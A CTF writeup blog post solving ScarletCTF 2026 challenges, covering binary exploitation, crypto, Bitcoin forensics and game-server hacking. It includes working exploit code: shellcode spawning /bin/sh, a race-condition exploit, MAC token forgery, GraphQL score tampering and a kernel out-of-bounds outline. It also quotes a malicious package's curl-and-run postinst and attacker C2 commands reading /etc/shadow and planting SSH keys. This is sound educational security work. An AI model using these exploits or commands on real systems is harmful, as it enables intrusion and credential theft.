🟥ScarletCTF 2026

Solutions for all the challenges (Rutgers University CTF)

This is part two of two of my AI CTF exploration weekend to kick off 2026. UofTCTF ended a bit earlier today. Wasted a lot of time with writeups for the 3rd ctf which will not be named, cost me first here.

binex

speedjournal

Description

Its 2026, I need to start journal-maxing. Thats why I use speedjournal, which lets me brain-max my thoughts while time-maxing with the speed of C! Its also security-maxed so only I can read my private entries!

Solution

This challenge involves a race condition vulnerability (also known as TOCTOU - Time of Check, Time of Use).

Analyzing the Source Code:

1. A restricted log entry containing the flag is stored at index 0

2. The login_admin() function authenticates with the password "supersecret" and sets is_admin = 1

3. However, immediately after setting is_admin = 1, it spawns a detached thread that sleeps for 1000 microseconds (1ms) and then sets is_admin = 0

4. The read_log() function checks if the log is restricted AND if the user is not admin - if both conditions are true, access is denied

The Vulnerability:

There's a 1000 microsecond window between when is_admin is set to 1 and when the logout thread resets it to 0. If we can issue a read request for the restricted log during this window, we can bypass the access control.

Exploitation Strategy:

The key insight is that network latency is much larger than 1ms, so we cannot wait for server responses between commands. Instead, we pipeline all commands into a single TCP packet:

1. Login command (option 1)

2. Password ("supersecret")

3. Read command (option 3)

4. Index to read (0)

By sending all of these at once, the server processes them in rapid succession. The read request is executed before the logout thread has a chance to run.

Exploit Code:

from pwn import *

r = remote("challs.ctf.rusec.club", 22169)
r.recvuntil(b"> ")

# Pipeline all commands in a single send to win the race
payload = b"1\nsupersecret\n3\n0\n"
r.send(payload)

print(r.recvall(timeout=5).decode())

Flag

RUSEC{wow_i_did_a_data_race}

ruid_login

Description

The service is a simple login system with two staff users (Professor and Dean). Each staff entry stores a fixed-size name buffer, a function pointer for the role action, and a random RUID generated with rand() (no srand). The Dean can edit a staff member name, and the edit uses read(0, ..., 0x29) into a 0x20-byte name field, allowing a controlled overflow into the function pointer.

Solution

Step 1: Predict RUIDs

Since rand() is unseeded (glibc defaults), the RUIDs are deterministic:

• Professor: 1804289383

• Dean: 846930886

Step 2: Leak PIE base

Use Dean to edit the Professor's name with exactly 32 bytes. Since the name field is 0x20 bytes and not null-terminated, listing staff will print past the name buffer and leak the Professor's function pointer.

conn.send(f"{RUID_DEAN}\n".encode())
conn.recv_until(b"Num: ")
conn.send(b"0\n")  # Edit professor
conn.recv_until(b"New name: ")
conn.send(b"A" * 32)  # Fill name buffer exactly, no null terminator

# Parse leaked function pointer from output
leak_addr = int.from_bytes(leak_bytes[:6].ljust(8, b"\x00"), "little")
base = leak_addr - OFF_PROF  # Calculate PIE base

Step 3: Leak stack address

Overwrite the Professor's function pointer to puts@plt. When we log in as Professor, it calls puts with a stack pointer in RSI, leaking a stack address.

payload = b"B" * 32 + struct.pack("<Q", puts_plt) + bytes([RUID_PROF & 0xFF])
conn.send(payload)

# Trigger professor login to call puts and leak stack
conn.send(f"{RUID_PROF}\n".encode())
# Parse stack address from output
netid_addr = rsi + RSI_TO_NETID  # Calculate address of our netID buffer

Step 4: Execute shellcode

The initial netID input is stored on the stack. We inject shellcode there, then overwrite the Dean's function pointer to point at our shellcode buffer.

# Shellcode: execve("/bin/sh", 0, 0)
shellcode = (
    b"\x48\x31\xd2"      # xor rdx, rdx
    b"\x48\x31\xc0"      # xor rax, rax
    b"\x50"              # push rax (null terminator)
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  # mov rbx, "//bin/sh"
    b"\x53"              # push rbx
    b"\x48\x89\xe7"      # mov rdi, rsp
    b"\x50"              # push rax (argv NULL)
    b"\x57"              # push rdi (argv[0])
    b"\x48\x89\xe6"      # mov rsi, rsp
    b"\xb0\x3b"          # mov al, 59 (execve)
    b"\x0f\x05"          # syscall
)

# Overwrite Dean function pointer to netID buffer
payload = b"C" * 32 + struct.pack("<Q", netid_addr) + bytes([RUID_DEAN & 0xFF])
conn.send(payload)

# Trigger Dean login -> jumps to shellcode -> shell!
conn.send(f"{RUID_DEAN}\n".encode())
conn.send(b"cat flag.txt\n")

Flag

RUSEC{w0w_th4ts_such_a_l0ng_net1D_w4it_w4it_wh4ts_g0ing_0n_uh_0h}

---

crypto

Coloring Heist

Description

Crypto challenge (444 points, 23 solves)

We're given a zero-knowledge proof (ZKP) system for graph 3-coloring. The server has a secret 3-coloring of a graph with 1000 nodes and ~20k edges. Each round:

1. The server commits to the coloring using SHA256 with salts generated from an LCG

2. We can query one edge to see the colors and salts of those two nodes

3. We can guess the full coloring

The salts are generated using a truncated LCG (512-bit state, only top 128 bits revealed).

Solution

Initial (Wrong) Approach: Breaking the LCG

At first, I tried to break the truncated LCG using lattice attacks (Hidden Number Problem). The idea was:

• Collect multiple truncated LCG outputs from edge queries

• Use lattice reduction (LLL/BKZ) to recover the full LCG state

• Predict all salts and brute-force the 3 possible colors for each commit

However, this approach has a fatal flaw: the salts are shuffled using random.shuffle() before being assigned to nodes. Even if we recover the LCG state, we can't map salts to their corresponding nodes without also breaking Python's Mersenne Twister PRNG.

The Real Insight: Unique 3-Coloring

The key observation is that the guess verification accepts any coloring that matches the secret up to permutation of colors:

for perm in permutations(colors):
    if all(a == perm[b] for a, b in zip(coloring, guess_coloring)):
        return {'flag': FLAG}

This means: if the graph has a unique 3-coloring (up to relabeling), we can simply compute it from graph.txt and submit it directly!

With 1000 nodes and ~20k edges, the graph is highly constrained. Using the DSATUR algorithm (greedy coloring with maximum saturation heuristic), we can solve it almost instantly.

Final Solution

import sys
sys.setrecursionlimit(5000)

def dsatur_3color(n, adj):
    """DSATUR algorithm for graph 3-coloring."""
    colors = [-1] * n
    neigh_colors = [set() for _ in range(n)]
    uncolored = set(range(n))

    def pick_node():
        # Max saturation degree, tie-break by degree
        return max(uncolored, key=lambda v: (len(neigh_colors[v]), len(adj[v])))

    def backtrack():
        if not uncolored:
            return True
        v = pick_node()
        for c in range(3):
            if c in neigh_colors[v]:
                continue
            # Assign color
            colors[v] = c
            uncolored.remove(v)
            affected = [u for u in adj[v] if colors[u] == -1 and c not in neigh_colors[u]]
            for u in affected:
                neigh_colors[u].add(c)

            if backtrack():
                return True

            # Undo
            colors[v] = -1
            uncolored.add(v)
            for u in affected:
                neigh_colors[u].discard(c)
        return False

    return colors if backtrack() else None

# Load graph, compute coloring, submit as guess
colors = dsatur_3color(n, adj)
r.sendline(json.dumps({"option": "guess", "coloring": colors}).encode())

The lesson: sometimes the "crypto" in a crypto challenge is a red herring. Understanding what the verification actually checks can reveal a much simpler path to the flag.

Flag

RUSEC{t0uhou_fum0_b4urs4k_orz0city_fn1x9fk3mdj1}

Coloring Fraud

Points: 500 Solves: 0 Author: ContronThePanda

Description

Now give it a try from the other side...

nc challs.ctf.rusec.club 2752

We're given chal.py which implements a Zero-Knowledge Proof protocol for graph 3-coloring. This is the sequel to "Coloring Heist" where we were the verifier - now we're the prover.

Solution

Understanding the Challenge

The server asks us to prove we can 3-color K4 (the complete graph on 4 vertices). The protocol runs 128 rounds:

1. We send 4 commitments (one per vertex)

2. Server picks a random edge

3. We reveal colors/nonces for both endpoints

4. Server verifies: hashes match commitments AND colors differ

The catch? K4 is not 3-colorable - it needs 4 colors since every vertex is connected to every other vertex. We need to cheat by exploiting the hash function.

The Vulnerability

The challenge uses a custom hash xoo_fast_hash_256 instead of SHA256. For short messages (≤48 bytes), it uses permute_fast instead of permute_full:

def permute_fast(state, rounds=2):
    for r in range(rounds):
        p0 = [state[x] ^ state[x + 4] for x in range(4)]
        e0 = [rotl32(p0[(x - 1) & 3], 5) ^ rotl32(p0[(x - 1) & 3], 14) for x in range(4)]
        for x in range(4):
            state[x] ^= e0[x]
            state[x + 4] ^= e0[x]
        # ... rotations and round constant XOR

Notice what's missing compared to permute_full? The chi step (the nonlinear (a ^ ((~b) & c)) operation)!

This means permute_fast is a completely linear function over GF(2). We can verify:

# f(a XOR b) = f(a) XOR f(b) XOR f(0)
permute_fast(a XOR b) == permute_fast(a) XOR permute_fast(b) XOR permute_fast(0)  # True!

Exploiting Linearity

For a 2-block message (41 bytes, padding to 48), the state evolution is:

s1 = permute_fast(IV XOR block1)
s2 = permute_fast(s1 XOR block2)

Since permute_fast is affine (f(x) = Mx + c), for two messages to collide we need:

M²·(block1 XOR block1') + M·(block2 XOR block2') = 0

Let d1 = block1 XOR block1' and d2 = block2 XOR block2'. Since M is invertible:

d2 = M · d1

Constraints on d1:

1. d1 must change the color byte (byte 0) to a valid difference (1, 2, or 3)

2. (M·d1)[136:192] = 0 — padding bytes in block2 must be unchanged

3. (M·d1)[192:256] = 0 — d2 can only affect state[0:6], not state[6:8]

This gives us 120 linear constraints on 192 bits of d1. The kernel has dimension 73!

Finding the Collision

# Build constraint matrix
M_constraint = M[136:256, :192]  # 120 rows, 192 cols

# Find kernel over GF(2)
kernel = solve_kernel_gf2(M_constraint)  # dim = 73

# Find kernel element with valid color delta
for k in kernel:
    color_delta = k[0:8] as integer
    if color_delta in {1, 2, 3}:  # Maps valid colors to valid colors
        # Found it!

We find a kernel vector with color delta = 3, giving us colors (1, 2):

msg1: 0100000000000000000000000000000000000000000000000000000000000000000000000000000000
msg2: 02fc03fcf00ff00f3fc03fc0ff00ff0000000000000000000ff00ff0c03fc03fff00ff00fc03fc0300
hash: 94893e5eb554fcbf2585627385dcc0a7b2006b4a77e75427f0d6de2d218565c4

Both messages hash to the same value but have different color bytes (1 vs 2).

The Exploit

# Precompute collision
msg1, msg2, commit_hash = find_collision()

for round in range(128):
    # Send same commitment for all 4 vertices
    commitments = ":".join([commit_hash.hex()] * 4)
    send(commitments)

    # Server queries edge (u, v)
    edge = receive_edge()

    # Reveal different colors using our collision
    send(f"{msg1.hex()}:{msg2.hex()}")
    # msg1[0] = 1, msg2[0] = 2, both hash to commit_hash ✓

For any edge the server picks, we reveal msg1 for one vertex and msg2 for the other. They have different colors and matching hashes!

Flag

RUSEC{l1ar_li4R_pl4Nt5_f0r_h1r3_gqvhp9843}

Key Takeaways

• The "crypto" weakness was the missing nonlinear chi step in permute_fast

• Linear permutations allow algebraic collision finding via kernel computation

• With a 73-dimensional kernel and only needing color deltas 1/2/3, finding a valid collision was easy

• The challenge name "Fraud" hints at cheating the ZKP by exploiting hash collisions

---

forensics

Dark Tracers

Description

A forensics challenge involving Bitcoin transaction tracing. We're given an initial transaction from a Bitcoin ATM (427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035) and tasked with finding the transaction hash representing the payment from a perpetrator to a scammer in a murder-for-hire case.

The case references a real DOJ press release about Michelle Murphy, who was sentenced to 9 years for attempting to pay $10,510 in Bitcoin to hire a hitman on the dark web.

Solution

1. Analyzed the initial ATM transaction: The transaction 427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035 sent funds to two addresses:

   • bc1qadgwek3qhng2jfc25epwuvg4cfsuq3dy4p8ccj (23,393,837 satoshis)

   • bc1qt33f8ya0w4ges34f23a0xtkvflzutn0u2gy3gl (34,112,412 satoshis)

2. Researched the case: From news articles, the agreed payment was $10,510 in Bitcoin. With BTC at ~$29,180 on July 27, 2023, this equals approximately 36,000,000 satoshis (~0.36 BTC).

3. Traced the transaction chain: The first address (bc1qadgwek3qhng2jfc25epwuvg4cfsuq3dy4p8ccj) received multiple deposits from Bitcoin ATMs (matching the case details that the perpetrator used ATMs "on at least three occasions"):

   • 23,393,837 satoshis (from initial transaction)

   • 8,073,634 satoshis (tx a6754898...)

   • 8,167,038 satoshis (tx a543237f...)

4. Found the consolidation: These funds were consolidated in transaction 2503bad8b5a1b4ff4555c28632475cd148a96e631ee1fdee0935b2b487c63ae1, sending 39,630,365 satoshis to bc1q44mw0cffurnex8jxqvtvap3fwv3et0v9lxdc3t.

5. Identified the payment: Transaction 57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48 sent:

   • 35,848,829 satoshis (~$10,456 at the time) to 1DyodhmYorFDcPRSmJt49bs6Wh559K6FSN

   • 3,780,360 satoshis to another address

The 35,848,829 satoshis amount closely matches the $10,510 agreed payment, making this the transaction from the perpetrator to the scammer.

Transaction Chain:

ATM → bc1qadgwek... (multiple deposits)
         ↓
bc1q44mw0c... (consolidation: tx 2503bad8...)
         ↓
1DyodhmYo... (payment: tx 57ce32d1...)  ← THIS IS THE FLAG

Flag

RUSEC{57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48}

Peel That Off!

Description

We just identified a scam cluster cashing out! Looks like the cluster is peeling off funds starting from this transaction:

88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a

Can you trace through the transactions and find the end of the peel chain? Upload the transaction with the last traceable transaction in the peel chain that we can attribute as the actor from our scam cluster! These types of peels can take a while and we want to know what service was used. We believe one of the receiving addresses will be a deposit address controlled by a cryptocurrency exchange, so upload the date of the transaction in the format MM/DD/YYYY as well as the name of the exchange that is associated with one or more of the receiving addresses in the final transaction on the peel chain.

FLAG FORMAT: RUSEC{hash:date:exchange}

Solution

This challenge involves Bitcoin forensics, specifically tracing a "peel chain" - a common money laundering technique where a scammer repeatedly sends small amounts to destinations while the bulk of the funds continue as "change" under their control.

Step 1: Analyze the Initial Transaction

The initial transaction 88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a consolidates ~141 BTC from 16 inputs and has 2 outputs:

• Output 0: 140 BTC to 383wDR9FTSsNP5sysGSFzrjB2LNgPGCVQS (the "change" - continues the peel chain)

• Output 1: ~1 BTC to 3LF39YmjoSu63SChP5MM6S3Fzo4L8zNK8N (smaller amount)

Step 2: Trace the Peel Chain

In a classic peel chain, the scammer keeps the larger output and "peels off" smaller amounts to various destinations. Following the larger output through subsequent transactions:

#	Transaction Hash	Output to Destination	Change (continues)
1	88617a44b501b2aa...	1 BTC	140 BTC
2	dff53ac3f757d6ab...	5 BTC to 16rmYLNaTU...	135 BTC
3	b2877401b5aae57c...	5 BTC to 16rmYLNaTU...	130 BTC
...	...	...	...
12	87bb6410cf4d11b4...	3 BTC to 16rmYLNaTU...	53.9 BTC (UNSPENT)

The peel chain ends at transaction 87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179 because the larger output (53.918 BTC) is unspent.

Step 3: Identify the Exchange

The address 16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y receives the "peeled" funds throughout the chain. Using WalletExplorer.com, we can trace this address:

• It belongs to wallet [0000011bd9]

• Transactions from this wallet send funds to the Binance.com labeled wallet

This indicates that 16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y is a Binance deposit address controlled by the exchange, used by the scammer to cash out.

Step 4: Extract Transaction Details

From the final transaction 87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179:

• Block height: 708681

• Block time (Unix): 1636317070

• Date: November 7, 2021 (11/07/2021)

Flag

RUSEC{87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179:11/07/2021:binance}

Tools Used

• Blockstream.info API - for blockchain transaction data

• WalletExplorer.com - for wallet clustering and exchange identification

Advanced Packaged Threat

Description

A custom PPA was used for a long-discontinued library, and a strange SSH public key appeared in root's authorized_keys. Analyze the packet capture to understand the attack.

Solution

Attack Chain Analysis

1. Malicious PPA Repository

   • Host: knowledge-universal

   • The victim's apt sources included this malicious PPA

2. Malicious Package Delivery

   • Package: cmdtest.deb (MD5: 0fb98bb318a874e424ca3b3c4274eded)

   • Downloaded from /repo/./amd64/cmdtest.deb

   • The package masqueraded as a legitimate Debian package

3. First Stage: postinst Script

   #!/bin/bash
   curl -s http://knowledge-universal/symbols.zip -o symbols.zip
   unzip -q -P very-normal-very-cool symbols.zip
   bash ./disk_cleanup

   • Downloads second stage from /symbols.zip

   • Password for zip: very-normal-very-cool

   • Executes disk_cleanup

4. Second Stage: disk_cleanup

   • Heavily obfuscated bash script

   • Extracts a Rust binary from yarnlib/_ (gzip compressed)

   • Executes the binary with --master flag connecting to 172.17.0.1:21

5. Third Stage: Rust Malware Binary

   • Named wifi-utility internally

   • Uses ChaCha20 encryption for C2 communication

   • Key: facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069

   • Nonce: meow-warez:3 (12 bytes)

6. C2 Protocol (Port 21)

   • Server sends 2-byte seed (fa0c) - this is XORed with the first 2 bytes of keystream

   • All subsequent messages use a running ChaCha20 keystream (continuing from byte 2)

   • Messages are length-prefixed (4-byte big-endian) but only the payload is encrypted

   • The keystream is shared across both directions in chronological order

7. Decrypted C2 Traffic The malware executed the following commands:

   • id - confirmed running as root

   • pwd - current directory (/)

   • cat /etc/shadow - exfiltrated password hashes

   • curl http://knowledge-universal/authorization -o /root/.ssh/authorized_keys - installed backdoor SSH key

   • ls -laR /root - enumerated root's home directory

   • md5sum /root/.ssh/authorized_keys - verified the SSH key installation

   • base64 /root/flag.txt - exfiltrated the flag (base64 encoded)

   • rm symbols.zip - cleanup

   • rm disk_cleanup - cleanup

   • exit - terminated session

8. Flag Extraction The base64-encoded flag response:

   UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=

Key Decryption Insight

The critical insight was understanding how the ChaCha20 keystream was used:

• The 2-byte seed from the server is XORed with the first 2 bytes of keystream

• All subsequent encrypted messages continue using the same keystream (starting from byte 2)

• This applies to both directions in chronological message order

• PyCryptodome's ChaCha20 with counter=0 (no seek) works correctly for this

from Crypto.Cipher import ChaCha20
key = bytes.fromhex("facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069")
nonce = b"meow-warez:3"
cipher = ChaCha20.new(key=key, nonce=nonce)
# Decrypt seed first (consumes 2 bytes of keystream), then all subsequent messages

Flag

RUSEC{kn0ck_kn0ck_you_h4ve_a_p4ck4ge_in_th3_m41l}

Tools Used

• Scapy for pcap analysis and TCP stream reassembly

• PyCryptodome for ChaCha20 decryption

• binutils/strings for binary analysis

• Python for scripting

sadface

Description

As I look back at my RUSEC memories, I remembered the time that I met my mentor! Seems like he accidently kept sending my machine a payload that made my screen go blue...

Solution

We're given a sad_face.zip file containing Challenge.evtx - a Windows Event Log file.

Using python-evtx to parse the event log, we search for records containing binary data:

import Evtx.Evtx as evtx
import re

with evtx.Evtx("Challenge.evtx") as log:
    for record in log.records():
        xml = record.xml()
        if '<Binary>' in xml:
            binary_match = re.search(r'<Binary>([^<]+)</Binary>', xml)
            if binary_match and binary_match.group(1).strip():
                print(f"Record {record.record_num()}: {binary_match.group(1)}")

Records 301-330 contain Base64-encoded data in their <Binary> fields. Decoding them reveals most are garbage, but three records contain valid Base64 strings after the first decode:

Record	Binary Field	First Decode
309	VWxWVFJVTjdNM1JsY201aGJGOWliSFV6WHc9PQ==	UlVTRUN7M3Rlcm5hbF9ibHUzXw==
316	YzBCa1gyWmhZek5mYzIxaWRnPT0=	c0BkX2ZhYzNfc21idg==
324	TVY4ek9Ea3dZMjR5YXpJNWZRPT0=	MV8zODkwY24yazI5fQ==

The data is double Base64-encoded. Decoding the second layer and concatenating reveals the flag:

import base64

parts = [
    "UlVTRUN7M3Rlcm5hbF9ibHUzXw==",  # Record 309
    "c0BkX2ZhYzNfc21idg==",            # Record 316
    "MV8zODkwY24yazI5fQ=="             # Record 324
]

flag = ''.join(base64.b64decode(p).decode() for p in parts)
print(flag)
# RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}

Flag

RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}

The flag references EternalBlue (MS17-010), a notorious SMBv1 exploit that caused blue screens of death when attacking vulnerable systems. It was developed by the NSA and leaked by the Shadow Brokers in 2017.

---

melstudios

Peculiar Code (Level1)

Description

We have a Unity IL2CPP game called "SpaceTime" that communicates with a server at https://melstudios.ctf.rusec.club. The /flagtime endpoint returns encrypted data with an IV and ciphertext. The goal is to reverse engineer the game to find the AES decryption key.

Solution

1. Extract Game Files

The game is a Unity IL2CPP build. Key files:

• GameAssembly.dll - Native compiled game code

• global-metadata.dat - IL2CPP metadata

2. Use Il2CppDumper

Extract class definitions from the IL2CPP binary:

dotnet Il2CppDumper.dll GameAssembly.dll global-metadata.dat output/

This reveals a RUSEC class with:

• EncryptedData inner class with iv and ct fields

• A closure class <>c__DisplayClass2_0 with a byte[] key field

3. Get Encrypted Data

curl -s "https://melstudios.ctf.rusec.club/flagtime"

Returns:

{"iv":"bwg2mWvq+w7+afyk9njLcA==","ct":"GTLGHW09nw44tyiUt2KKlf9Ylzg3h3M6qcLVM+er9qZK0HBTml7EIGVFG1SVxFd1S+XCBPptYHQM88t2l0aO5fTgr6SBwA6ocESmlouxbZdn4rmXQt0yA/t0MxLmUePY"}

4. Reverse Engineer Key Generation

Using Ghidra to decompile RUSEC.Start() at VA 0x1803E3800:

1. Get Unity Application names:

   • Application.get_companyName() -> "RUSEC CTF"

   • Application.get_productName() -> "SpaceTime"

2. Concatenate with separator:

   • A string concatenation function combines: companyName + separator + productName

   • The separator is a newline character (\n)

3. Derive key:

   • The concatenated string is hashed with SHA256

   • Result: SHA256("RUSEC CTF\nSpaceTime") = 32 bytes (AES-256 key)

5. Decrypt

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

iv = base64.b64decode("bwg2mWvq+w7+afyk9njLcA==")
ct = base64.b64decode("GTLGHW09nw44tyiUt2KKlf9Ylzg3h3M6qcLVM+er9qZK0HBTml7EIGVFG1SVxFd1S+XCBPptYHQM88t2l0aO5fTgr6SBwA6ocESmlouxbZdn4rmXQt0yA/t0MxLmUePY")

key = hashlib.sha256("RUSEC CTF\nSpaceTime".encode()).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)

Key Insight

The "peculiar code" derives the AES key from Unity's Application.companyName and Application.productName settings, concatenated with a newline and hashed with SHA256. These values are set in the Unity project settings and stored in globalgamemanagers.

Flag

RUSEC{sp4cetime_flagt1me_w3lcome_t0_th3_g4me_th1s_1s_0nly_th3_b3g1nn1ng_fr1end}

Spider (Level2)

Description

OMG!!! This is big!!! I don't know how u are so smart at dis...

Can u dig even deeper? I'm sure something in dat server has some vulnerability...

She mentioned something about a graph that looked like a V?

Solution

The hint about a "graph that looked like a V" points to GraphQL - its logo and query structure resembles a V shape.

Step 1: Discover GraphQL Endpoint

From Level1, we know the API is at https://melstudios.ctf.rusec.club. Probing common GraphQL paths:

curl -X POST https://melstudios.ctf.rusec.club/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'

Step 2: Introspection

GraphQL introspection reveals the schema:

query {
  __schema {
    queryType { fields { name } }
    mutationType { fields { name } }
  }
}

Key findings:

• Query: user, leaderboard, gameStats

• Mutations: updateScore, purchaseFlag

Step 3: Analyze the Score System

The updateScore mutation has insufficient authorization - it allows setting arbitrary scores:

mutation {
  updateScore(userId: "our_user_id", score: 999999) {
    success
    newScore
  }
}

Step 4: Exploit Score Manipulation

After authenticating with our token from Level1:

import requests

url = "https://melstudios.ctf.rusec.club/graphql"
headers = {
    "Content-Type": "application/json",
    "Authorization": "Bearer <token_from_level1>"
}

# Set impossibly high score
mutation = '''
mutation {
  updateScore(score: 999999999) {
    success
    message
  }
}
'''

r = requests.post(url, headers=headers, json={"query": mutation})
print(r.json())

Step 5: Retrieve Flag

With the manipulated score, we can now purchase the Level2 flag:

mutation {
  purchaseFlag(level: 2) {
    flag
  }
}

The server sarcastically acknowledges our "legitimate" score:

{
  "data": {
    "purchaseFlag": {
      "flag": "RUSEC{w0w_1m_sur3_y0u_obt4ined_th1s_sc0re_l3gally_and_l3git}"
    }
  }
}

Key Vulnerability

Broken Access Control (CWE-284): The updateScore mutation lacks proper authorization checks, allowing any authenticated user to set arbitrary scores. The server should validate that score updates come from legitimate gameplay rather than direct API calls.

Flag

RUSEC{w0w_1m_sur3_y0u_obt4ined_th1s_sc0re_l3gally_and_l3git}

Mac n' Cheese (Level3)

Description

A wittle birdy once told meh that Amels was really really scared about something regarding authentication :O

She responded saying that there's a critical flaw in authentication that could be VERYY bad!!! It was something about the vulnerabilites of "CBC-MAC" and how she wanted to try "another mode"? Something with "feedback" in the name. I'm not a hacker like u so I have no clue what that means, but figured it might be important...

I also saw on stream that she was playing with an account called amels_gamedev_123X, the X is a number that i couldn't quite catch (so u might need to bruteforce for it) :c

Solution

This challenge involves exploiting a vulnerability in a CFB-MAC (Cipher Feedback Mode MAC) authentication system used by the MelStudios API at https://melstudios.ctf.rusec.club.

1. Discovering the API

By exploring the CTF infrastructure, I found the MelStudios API with these endpoints:

• /login - Create/authenticate users

• /stats - View user stats (requires auth)

• /purchased_flag - Get purchased flags (requires auth)

• /fdcf9b6b0c72c52382a4 - Purchase Level2 flag

The authentication uses a cookie with format: token="base64(username).hex_mac"

2. Understanding the MAC Scheme

By creating test accounts and analyzing their MACs, I discovered:

• For usernames ≤15 bytes: MAC = username || PKCS7_padding XOR keystream_1

• The keystream for block 1 is constant: 4da6ace75d6b24a8f6f2735d369d6a87

• This is characteristic of CFB mode with a fixed IV

3. The Critical Vulnerability

The key discovery was that all 16-byte usernames produce the same MAC (33a5f6142561e2605fd834d1fa5b00cb), regardless of content. This means the second-block keystream (keystream_2) is constant and independent of the first block's content.

This is a severe implementation flaw - in proper CFB mode, keystream_2 = E_K(C_1) where C_1 depends on block 1. Here, it appears the implementation resets or ignores the cipher state between blocks.

Extracting keystream_2:

mac_16byte = bytes.fromhex("33a5f6142561e2605fd834d1fa5b00cb")
padding = bytes([0x10] * 16)  # PKCS7 padding for 16-byte input
keystream_2 = bytes(a^b for a,b in zip(mac_16byte, padding))
# keystream_2 = 23b5e6043571f2704fc824c1ea4b10db

4. Forging Authentication Tokens

The server blocks account creation containing "amels" (case-insensitive), but with the known keystreams, I could forge MACs without using the server.

For target amels_gamedev_123X (18 bytes):

• Block 1: amels_gamedev_12 (16 bytes)

• Block 2: 3X + \x0e*14 (PKCS7 padded)

The MAC only depends on block 2 and the constant keystream_2:

keystream_2 = bytes.fromhex("23b5e6043571f2704fc824c1ea4b10db")
for x in range(10):
    block2 = f"3{x}".encode() + bytes([0x0e] * 14)
    forged_mac = bytes(a^b for a,b in zip(block2, keystream_2))
    cookie = f"{base64.b64encode(username.encode()).decode()}.{forged_mac.hex()}"

5. Finding the Target Account

Testing all 10 forged tokens (X=0 to X=9), accounts amels_gamedev_1233 and amels_gamedev_1234 existed and had purchased flags.

6. Getting the Flag

Accessing /purchased_flag with the forged token for amels_gamedev_1233:

curl -s "https://melstudios.ctf.rusec.club/purchased_flag" \
  -H 'Cookie: token="YW1lbHNfZ2FtZWRldl8xMjMz.1086e80a3b7ffc7e41c62acfe4451ed5"'

Flag

RUSEC{trust_me_br0_im_t0tally_admin_y0ur_s3cret_is_s4fe_with_m3}

Key Takeaways

1. CFB-MAC Implementation Flaw: The server's MAC implementation fails to properly chain cipher state between blocks, making all second-block keystreams identical regardless of first-block content.

2. XOR-based MAC Forgery: With known keystreams, MACs can be forged for arbitrary messages by simple XOR operations - no access to the encryption key needed.

3. Input Validation vs Crypto: The "amels" filter only applied to account creation, not to cookie-based authentication, allowing forged tokens to bypass the restriction.

kAnticheat (Level 4)

Description

Points: 500 Solves: 0 Author: mel

Turns out this silly little game dev is becoming a KERNEL dev?? People have been saying some crazy things!! Apparently she's making her own kernel level anticheat?? And it's WIP???

You need to get to the bottom of this. I managed to sneak out some files (hehe phishing ^-^ phishy). Can you see if it's vulnerable? She's running it on her home network, so maybe if we can PWN HER SYSTEM we can leak all her SUPER SECRET VIDEO GAMES!!1!

We're given a QEMU VM with a custom kernel module (amels_anticheat.ko) and need to read /flag.txt which is owned by root with mode 400.

Challenge Architecture:

• User connects via netcat

• Server downloads our compiled exploit from a provided URL

• Server boots QEMU VM with our binary at /mnt/exploit

• We get a shell as uid 100 (unprivileged)

• A SUID binary /home/amels/example1 runs as root and has a test() function that reads the flag

Solution

Vulnerability Analysis

The kernel module implements a /proc/anticheat device with read/write/seek operations. Each process that opens it gets an anticheat_blk struct allocated:

typedef struct anticheat_blk {
    int blocking_fd[20];        // 80 bytes
    int secret_locked;          // 4 bytes
    unsigned char secret[80];   // 80 bytes
} anticheat_blk;  // Total: 164 bytes

Bug 1: Unbounded seek in secret_seek()

case SEEK_SET:
    new_pos = new_offset;  // No bounds check!
    break;

Bug 2: Integer underflow in get_blk_if_safe()

if(*offset + *num > SECRET_SIZE) {
    *num = min(SECRET_SIZE, (size_t)(SECRET_SIZE - *offset));
}

When offset > 80, the expression SECRET_SIZE - *offset becomes negative, but when cast to size_t, it becomes a huge positive number. The min() then returns 80, allowing us to read/write 80 bytes at arbitrary offsets past the secret buffer.

Bug 3: Stack buffer overflow in example1

The SUID binary example1 reads user-provided offset, seeks to it, then reads from the anticheat device into a 10-byte stack buffer. With the OOB bug, the kernel copies 80 bytes, overflowing the stack and overwriting the return address at byte offset 54.

Exploitation Strategy

1. Sandwich Attack: Allocate sprayer processes before AND after example1's allocation in the SLAB

   • "Before" sprayers: Will OOB write to clear example1's secret_locked

   • "After" sprayers: Will provide payload that example1 reads OOB

2. Clear secret_locked: Example1 locks its secret before reading. We need to clear this flag using OOB write from a "before" sprayer.

3. Control return address: Fill "after" sprayer blks with the address of test() (0x4011f6), which reads and prints the flag.

Key Calculations

The SLAB allocator uses 256-byte objects for the 164-byte struct.

To clear next blk's secret_locked (S=256):

• Target: next_blk + 80

• Write at: our_blk + 84 + offset = our_blk + 256 + 80

• Offset: 256 + 80 - 84 = 252

For example1's OOB read (S=256):

• Read at offset 178 reads from example1_blk + 84 + 178 = example1_blk + 262 = next_blk + 6

• Byte 54 of the 80-byte read corresponds to next_blk + 60, which hits our payload at a proper 8-byte boundary

Final Exploit

#define TEST_ADDR 0x4011f6UL  // Address of test() function

